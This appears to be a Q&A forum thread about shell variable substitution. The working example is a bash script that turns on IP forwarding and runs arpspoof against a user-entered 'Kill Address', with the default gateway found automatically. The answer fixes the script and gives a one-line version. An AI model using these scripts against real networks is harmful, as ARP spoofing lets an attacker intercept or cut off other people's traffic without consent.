Seaner992
Seaner992

Reputation: 397

Use A String With The Output Of Another String - In A Shell Script

This script works, but I would like to remove the need to type in the default gateway.

read -p "Gateway address: " gtw
echo "$yip"
read -p "Target IP Address: " tip
echo "$tip"
arpspoof -i "wlan0" "$gtw" -t "$tip"

I tried using a string (I think it's called a sting. -> The top line), but I must not being doing it correctly. I've spent a few hours looking for other posts, but I'm not sure what to call it. This is only my second script I've written.

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "gtw" -t "$tip"

Upvotes: 1

Views: 384

Answers (1)

cmdprompt
cmdprompt

Reputation: 141

Missing $

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "$gtw" -t "$tip"

or just include it directly in the command

read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip"

Upvotes: 3

Related Questions